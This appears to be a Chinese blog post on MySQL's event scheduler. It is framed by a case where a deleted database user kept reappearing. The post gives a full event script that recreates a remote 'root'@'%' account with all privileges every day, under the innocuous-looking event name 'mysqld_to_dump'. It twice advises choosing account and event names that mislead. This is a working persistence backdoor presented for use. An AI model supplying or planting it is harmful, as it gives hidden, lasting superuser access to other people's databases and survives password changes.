mysql计划任务
2016-07-04 11:27
453 查看
今天有个网友说数据库里一个用户删除了,还是会生成,应该被入侵了,首先想到的做法就是写了linux的计划任务,但是一想不对啊,如果root密码改了呢,连不上数据库怎么写sql,然后一百度发现了mysql自己也可以写 计划任务,然后简单的抄了个试试,果然可以,
账号可以改成其他的,项目名,尽量具有迷惑性的
# 查看当前是否已开启事件调度器 SHOW VARIABLES LIKE 'event_scheduler' #保证能够执行event事件,就必须保证定时器是开启状态,默认为关闭状态 set GLOBAL event_scheduler = 1; #或 set GLOBAL event_scheduler = ON; #脚本如下 set time_zone = '+8:00'; set GLOBAL event_scheduler = 1; -- 设置该事件使用或所属的数据库base数据库 use mysql; # 如果原来存在该名字的任务计划则先删除 drop event if exists mysqld_to_dump; # 设置分隔符为 '$$' ,mysql默认的语句分隔符为 ';' ,这样在后续的 create 到 end 这段代码都会看成是一条语句来执行 DELIMITER $$ # 创建计划任务,设置第一次执行时间为'2016-07-5 4:00:00',并且每天执行一次 create event mysqld_to_dump on schedule every 1 day starts timestamp '2016-07-5 4:00:00' #on schedule every 1 SECOND do # 开始该计划任务要做的事 begin -- do something 编写你的计划任务要做的事 CREATE USER 'root'@'%' IDENTIFIED BY 'passwd'; GRANT ALL ON *.* TO 'root'@'%'; flush privileges; -- 结束计划任务 end $$ # 将语句分割符设置回 ';' DELIMITER ;
账号可以改成其他的,项目名,尽量具有迷惑性的
相关文章推荐
- Mysql Replication 主从同步
- MySQL动态修改varchar长度的方法
- window下解决 ERROR 1044 (42000): Access denied for user ''@'localhost' to database 'mysql'
- Mysql历史版本下载网址
- Mysql数据库及表空间占用信息统计
- JSP连接MySQL
- JSP加载MySQL的JDBC驱动
- log4j1 插入mysql
- 打开MySQL数据库远程访问的权限
- MySQL:因为统计信息错误引起的sql问题
- MySQL的FIND_IN_SET函数使用方法
- 打开MySQL数据库远程访问的权限
- Mysql中varchar长度设置方法
- Mysql数据库中把varchar类型转化为int类型的方法
- service mysqld start MySQL Daemon failed to start.
- MySQL数据库中把int转化varchar引发的慢查询
- mysql 中tinyint(1)
- MYSQL日期增减 2016.07.01回顾
- MySQL中把varchar类型转为date类型方法详解
- node.js操作mysql